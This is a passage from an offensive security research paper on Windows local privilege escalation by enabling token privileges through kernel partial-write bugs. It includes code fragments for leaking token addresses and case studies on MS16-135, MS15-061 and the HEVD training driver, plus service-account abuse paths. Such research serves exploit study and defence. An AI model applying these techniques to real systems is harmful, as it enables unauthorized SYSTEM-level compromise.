with the mitigation landscape. | |
Instead of trying to execute ROP in the kernel or mangle kernel objects, | |
why not delegate the escalation of privileges to userland? Much like the | |
process swapping strategy, if we can enable elevated privileges in | |
userland, we stand to benefit from increased reliability, trivial | |
sidestepping of various kernel mitigations, and increased flexibility in | |
the deliverance of some malicious payload. We want to persist on a system | |
unimpeded, and to do so we must remain clandestine. | |
As discussed in section 1.2, each token has a _SEP_TOKEN_PRIVILEGES | |
structure containing what privileges a token currently holds. Our path | |
towards elevation should be pretty obvious: by abusing a partial write and | |
a userland information leak, we can flip a few bits in our process token | |
and obtain access to administrative privileges. Because we often cannot | |
control the value being written, it's important that all possible values | |
allow for elevation. We've identified three bytes in which do not grant | |
administrative privileges: 0x00, 0x40, 0x41. That is, if you were to | |
obtain a MOV BYTE PTR[controlled], 0x41 primitive, you would not be able to | |
enable an exploitable privilege. This assumes a MOV operation on default | |
privilege bitmasks; other operations or combinations of privileges may | |
grant elevated privileges. All other values provide access to an | |
exploitable privilege. | |
In order to target this process token, we must be able to obtain the | |
address of a controlled processes token. As we're targeting privilege | |
escalation vulnerabilities with this strategy, we can use and continue to | |
use (as of v1703) the common NtQuerySystemInformation API to leak our | |
process token address, as demonstrated below: | |
NtQuerySystemInformation(16, bHandleInfo, | |
sizeof(bHandleInfo), | |
&BytesReturned)); | |
PSYSTEM_HANDLE_INFORMATION shiHandleInfo = | |
(PSYSTEM_HANDLE_INFORMATION)bHandleInfo; | |
PSYSTEM_HANDLE_TABLE_ENTRY_INFO hteCurrent= &shiHandleInfo>Handles[0]; | |
for (i = 0; i<shiHandleInfo>NumberOfHandles; hteCurrent++, i++) { | |
if(hteCurrent>UniqueProcessId == dwPid && | |
hteCurrent>HandleValue == (USHORT)hToken) | |
return hteCurrent>Object; | |
} | |
The dwPid value is the process in which the token exists, and the hToken is | |
a handle to the process token. Note that, as of Windows 8.1 this strategy | |
no longer works under Low integrity processes, and thus other methods will | |
need to be employed. For brevity and clarity, we will work under the | |
assumption that we're targeting privilege escalation from a Medium | |
integrity process (default IL for users) and rely on the above technique. | |
----[ 3.3 - Abusing Existing Service Accounts | |
In addition to being useful for local privilege escalation through | |
arbitrary write primitives in the kernel, these same techniques can be of | |
use in the more common scenario where an attacker is accessing the machine | |
as a local service account. | |
There are a number of common scenarios where an attacker is able to execute | |
code in the context of a service account on a target machine, including the | |
following: | |
+ The service itself is compromised through some vulnerability. Typical | |
scenarios include web application vulnerabilities which allow execution | |
in the context of the account running IIS, and SQL injection | |
vulnerabilities where XP_CMDSHELL can be used to run code in the | |
context of the SQL service account. | |
+ Service account credentials are leaked in some way. | |
+ Kerberoast style attacks. A Kerberos ticket is requested for the target | |
account from the domain controller. Part of this ticket is encrypted | |
using the target account's password hash. This can be efficiently | |
cracked offline to yield the account password. | |
In any of these scenarios, if the service account happens to have one of | |
the privileges outlined in the previous section, it is possible to gain | |
local privilege escalation simply by leveraging the corresponding module | |
from this project. | |
----[ 3.3.1 - Common Service Accounts | |
In this section, we will give brief examples of some common service | |
accounts that can be abused for EoP due to their default token privileges. | |
----[ 3.3.1.2 - MSSQL / IIS | |
If we examine the default privileges assigned to the MSSQL and IIS service | |
accounts using the “AccessChk” tool from Sysinternals, we find the | |
following: | |
+ IIS - SeImpersonatePrivilege - BUILTIN\IIS_IUSRS | |
+ MSSQL - SeAssignPrimaryTokenPrivilege - | |
NT SERVICE\SQLAgent$SQLEXPRESS, | |
NT SERVICE\MSSQLLaunchpad$SQLEXPRESS, | |
NT SERVICE\MSSQL$SQLEXPRESS | |
These privileges are sufficient for EoP by leveraging the modules in this | |
project. Compromise of these accounts is a very common penetration testing | |
scenario. Any time SQL injection in MSSQL, or a web application | |
vulnerability in IIS is exploited to gain command execution, the attackers | |
end up with these privileges. Traditionally, this was considered a limiting | |
scenario with a restricted local account and an attacker would need to | |
resort to another method for EoP. Using the techniques outlined in this | |
paper, it is simply a matter of abusing existing token privileges. | |
----[ 3.3.1.3 - Backup Products | |
Every commercial backup product on the market will run with some sort of | |
elevated privilege. In many cases, the backup service account will run with | |
SYSTEM privileges, making EoP unnecessary. Where administrators have | |
started to smarten up however, we are starting to see the privileges on | |
these accounts become more restricted. | |
The following are the minimum privileges required by the Veritas NetBackup | |
solution, shamelessly borrowed from their website | |
(https://www.veritas.com/support/en_US/article.TECH36718): | |
+ *Act as a part of Operating System ( Only for Windows Server 2000 ). | |
+ *Create a token object. | |
+ Log on as a service. | |
+ Logon as a batch job. | |
+ Manage auditing and security log. | |
+ *Backup files and directories. | |
+ *Restore files and directories. | |
Note the 4 items in the list that we've marked with an asterisk (*). Any | |
one of these privileges alone can be leveraged for EoP given one of the | |
techniques described in this project. | |
----[ 3.3.1.4 - Local Service Accounts | |
There are also pre-defined service accounts on every Windows machine that | |
contain privileges that can be leveraged for EoP. These are | |
“NT AUTHORITY\SERVICE”, “NT AUTHORITY\NETWORK SERVICE”, and | |
“NT AUTHORITY\LOCAL SERVICE”. | |
Each of these has slightly different privileges, some contain multiple | |
exploitable privileges, however they all have access to the exploitable | |
SeImpersonatePrivilege. | |
If an attacker is somehow able to gain access to the system under the | |
context of one of these limited local accounts, they can trivially elevate | |
their privileges to “NT AUTHORITY\SYSTEM” using the techniques outlined | |
above. | |
--[ 4 - Kernel Exploit Development Case Studies | |
We'll now detail several case studies that demonstrate how and why we may | |
want to delegate privileged exploitation to userland. Note that our | |
strategy applies towards elevation of privilege; it cannot, in its current | |
state, be used remotely. | |
----[ 4.1 - MS16-135 | |
MS16-135 is the bug that we first wrote an exploit for using this strategy, | |
and proves to be a fantastic case study. Initially released by Google | |
after identifying active exploitation in the wild [13], a trigger was | |
quickly released and the race for weaponization began. | |
One of the first public demonstrations of exploitability was by Enrique | |
Nissim at Zero Nights 2016 [14], in which he used the bug to demonstrate | |
PML4 randomization weaknesses. Several other proof of concepts followed in | |
suit, most abusing the PML4 strategy, others using the pvscan0 technique. | |
The bug can be triggered via SetWindowLongPtr with a specifically crafted | |
window and index value. The result is a controlled OR operation: OR DWORD | |
PTR[controlled], 4. The first step is identifying the address of | |
_SEP_TOKEN_PRIVILEGES. This can be accomplished using the following: | |
OpenProcessToken(OpenProcess(PROCESS_QUERY_INFORMATION, | |
1, GetParentProcessId()), | |
TOKEN_QUERY | TOKEN_QUERY_SOURCE, | |
¤t_token); | |
dwToken = (UINT)current_token & 0xffff; | |
_TOKEN = GetHandleAddress(GetCurrentProcessId(), dwToken); | |
startTokenOffset = (UINT)_TOKEN + 0x40; | |
We first open a handle to our parent process token, then use a | |
NtQuerySystemInformation wrapper function to fetch the actual address of | |
the token. The structure we're after lies 0x40 bytes ahead. Note that the | |
NtQuerySystemInformation leak only works from medium integrity processes on | |
Windows 8.1+. In order to exploit this from a low integrity process, we | |
will need to abuse a different leak [9]. | |
With the token address, we now adjust the offset to the enabled bitmask and | |
invoke: | |
ULONG enabled_create_token = startTokenOffset + 0xa; | |
SetWindowLongPtr(childWnd, GWLP_ID, (LONG)(enabled_create_token - 0x14)); | |
Should we trigger this bug multiple times while shifting the offset, we can | |
hit each byte in the Enabled bitmask. This enables the following | |
privileges: | |
02 0x000000002 SeCreateTokenPrivilege Attributes - Enabled | |
10 0x00000000a SeLoadDriverPrivilege Attributes - Enabled | |
18 0x000000012 SeRestorePrivilege Attributes - Enabled | |
23 0x000000017 SeChangeNotifyPrivilege Attributes - Enabled | |
As we've seen, three of the four privileges enabled are trivially | |
exploitable. Our proof of concept code opts to abuse the | |
SeRestorePrivilege, and can be found in the project git repository [3]. | |
Though many of the public exploits for this bug were written in such a way | |
to demonstrate a technique, we find that the presented example highlights | |
the simplicity and reliability of our strategy: it relies only on the | |
external need to leak a token address from the kernel. Public proof of | |
concepts are much more complicated and require a variety of primitive | |
grooming and kernel dancing. | |
----[ 4.2 - MS15-061 | |
This was another fantastic bug observed in the wild during the RussianDoll | |
campaigns and was quickly reversed and weaponized within the community. | |
Much like MS16-135, this is a partial write that allows for the decrement | |
of a controlled address. The bug was a use after free in win32k, | |
specifically yet another issue with usermode callbacks emanating from | |
within win32k [15]. | |
Our strategy here does not differ much from the example in 4.1: we identify | |
our token address, groom the heap to obtain our arbitrary decrement, and | |
trigger it a few times to cover the Enabled and Present bitmasks. This | |
enables a whole host of different privileges, namely: | |
07 0x000000007 SeTcbPrivilege Attributes - Enabled | |
09 0x000000009 SeTakeOwnershipPrivilege Attributes - Enabled | |
10 0x00000000a SeLoadDriverPrivilege Attributes - Enabled | |
17 0x000000011 SeBackupPrivilege Attributes - Enabled | |
18 0x000000012 SeRestorePrivilege Attributes - Enabled | |
14 privileges are enabled, in total; the immediately exploitable ones are | |
shown above. A proof of concept is again provided in the project git | |
repository [3]. | |
Public samples use a variety of strategies; one of the first released by | |
NCC uses an older technique from Pwn2Own 2013, in which shellcode is | |
stashed in a tagWND structure and the bServerSideWindowProc bit is | |
decremented until it wraps, meaning that the tagWND's window procedure will | |
be executed without context switching. The shellcode used NULLs out | |
winlogon's ACL and injects into the privileged process. Other samples use | |
the more modern process token swapping strategy. | |
The point here being that we do not need to execute any shellcode and we | |
do not need to work to obtain any other primitives. | |
----[ 4.3 - HEVD | |
HEVD, or the HacksysExtremeVulnerableDriver [16], is an intentionally | |
vulnerable Windows driver that can be loaded into a system to learn and | |
research various exploitation strategies and techniques. It additionally | |
provides a simple way to demonstrate mitigation evasion strategies on | |
modern, fully up-to-date systems without having to use 0days. | |
We demonstrate our technique using the arbitrary write bug present in HEVD, | |
triggerable with the 0x22200b control code. As mentioned, the “bug” is an | |
intentional and controllable write-what-where primitive in the driver, | |
distilled below for brevity: | |
NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE | |
UserWriteWhatWhere) | |
{ | |
What = UserWriteWhatWhere->What; | |
Where = UserWriteWhatWhere->Where; | |
*(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What); | |
} | |
There are several public demonstrations on exploiting this; most for | |
Windows 7, several for Windows 10 build 1607. One from Cn33liz [17] | |
demonstrates exploiting this via the GDI Reloaded technique presented at | |
Ekoparty ‘16. The Reloaded strategy improves upon the original GDI pvscan | |
strategy, including bypassing the GDI shared handle table KASLR fix | |
introduced in v1607, by leaking kernel addresses via the global gSharedInfo | |
table (an old, but clearly still viable leak). | |
In v1703 (Creators Update), the table structure has been changed and the | |
leaking addresses removed. So, clearly the GDI Reloaded technique still | |
works, provided we can identify another KASLR leak; something tells us one | |
will turn up. | |
The last sample of note is from GradiusX, which demonstrates exploitation | |
on a v1703 Windows 10 system. The sample uses the GDI rw primitive to leak | |
the EPROCESS structure from the current process, which can then be used to | |
leak the token address of the running process. Once the address has been | |
leaked, it leaks a SYSTEM token address and overwrites, using the GDI | |
primitive, its resident token with the SYSTEM token. Thus, the token swap. | |
Using the GDI primitive to leak the EPROCESS structure (via _THREADINFO) | |
allows it to bypass the need for a separate KASLR leak and should | |
consequently work fine from low integrity processes. | |
Our strategy here is pretty simple; there's no need to groom a heap, | |
execute shellcode, or setup rw primitives. Due to changes to the | |
_SEP_TOKEN_PRIVILEGES structure [4], we must issue two separate calls to | |
DeviceIoControl; one to overwrite the Enabled mask and one to the Present | |
mask. As with the previous examples, we fetch our token address and | |
offsets: | |
uToken = (USHORT)current_token & 0xffff; | |
_TOKEN = GetHandleAddress(GetCurrentProcessId(), uToken); | |
startTokenOffset = (ULONG)_TOKEN + 0x40; | |
enabled_offset = (ULONG)_TOKEN + 0x48; | |
We then setup our what/where primitives (using the PWRITE_WHAT_WHERE | |
structure as defined by HEVD): | |
pww = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, | |
sizeof(WRITE_WHAT_WHERE)); | |
pww->What = (PULONG_PTR)what; | |
pww->Where = (PULONG_PTR)startTokenOffset; | |
Then simply trigger the driver via DeviceIoControl. We perform it a second | |
time with the enabled_offset as the where. We now have elevated privileges | |
enabled on the token. | |
--[ 5 - Conclusions | |
As Microsoft continues to iterate and improve upon baseline mitigation | |
strategies on Windows, both in userland and in the kernel, attackers | |
additionally continue to iterate. The ideas presented here may not be a | |
breakthrough in offensive kernel exploitation, but we believe they provide | |
a glimpse of where exploitation patterns are headed. Towards the logical, | |
away from the kernel, in the land where applications and scripts and Office | |
documents frolic with critical, privileged controls. We've demonstrated | |
how trivial a write-whatever-where can be exploited in a safe, predictable, | |
and stable way with only a haiku of information from the kernel. | |
Attacking individual privileges seems to be a logical progression of | |
existing trends: token swapping, DACL mangling, privileged file writes. | |
Attackers more often than not are pursuing slices and not wholes; ability | |
to read or write here, modify this or that file or key. Limiting the scope | |
of privileged access increases the overall effectiveness and decreases | |
exposure of an attack. | |
Ideally, we can identify other such privileges to be abused, as they are as | |
bountiful as they are opaque. The EPROCESS structure is ripe with flags | |
and masks controlling various access gears within the kernel. We did not | |
touch offensively on impersonation, split access tokens, threads, or other | |
such facilities, but their primitive potential is all but guaranteed. The | |
kernel boogeyman be damned. | |
--[ 6 - Greetz | |
Too many people. Everything is iterative, nothing is original. | |
themson, bannedit, quitos, tiraniddo, aionescu, phrack, pastor laphroaig, | |
shellster | |
--[ 7 - References | |
[0] https://blogs.technet.microsoft.com/mmpc/2017/01/13/hardening-windows-10-with-zero-day-exploit-mitigations/ | |
[1] https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf | |
[2] https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our-customers-security/ | |
[3] https://github.com/hatRiot/token-priv | |
[4] http://www.anti-reversing.com/2251/ | |
[5] https://labs.nettitude.com/blog/analysing-the-null-securitydescriptor-kernel-exploitation-mitigation-in-the-latest-windows-10-v1607-build-14393/ | |
[6] https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/ | |
[7] https://bugs.chromium.org/p/project-zero/issues/detail?id=872 | |
[8] https://www.blackhat.com/docs/us-16/materials/us-16-Weston-Windows-10-Mitigation-Improvements.pdf | |
[9] https://github.com/sam-b/windows_kernel_address_leaks | |
[10] https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf | |
[11] https://www.blackhat.com/docs/eu-16/materials/eu-16-Liang-Attacking-Windows-By-Windows.pdf | |
[12] https://labs.bluefrostsecurity.de/publications/2016/01/07/exploiting-cve-2014-4113-on-windows-8.1/ | |
[13] https://security.googleblog.com/2016/10/disclosing-vulnerabilities-to-protect.html | |
[14] https://github.com/IOActive/I-know-where-your-page-lives/ | |
[15] https://community.rapid7.com/community/metasploit/blog/2015/10/01/flipping-bits | |
[16] https://github.com/hacksysteam/HackSysExtremeVulnerableDriver | |
[17] https://github.com/Cn33liz/HSEVD-ArbitraryOverwriteGDI | |
[18] http://uninformed.org/index.cgi?v=8&a=5&p=2 | |
[19] https://blogs.msdn.microsoft.com/winsdk/2015/08/28/logon-as-a-user-without-a-password/ | |
[20] https://bugs.chromium.org/p/project-zero/issues/detail?id=325 |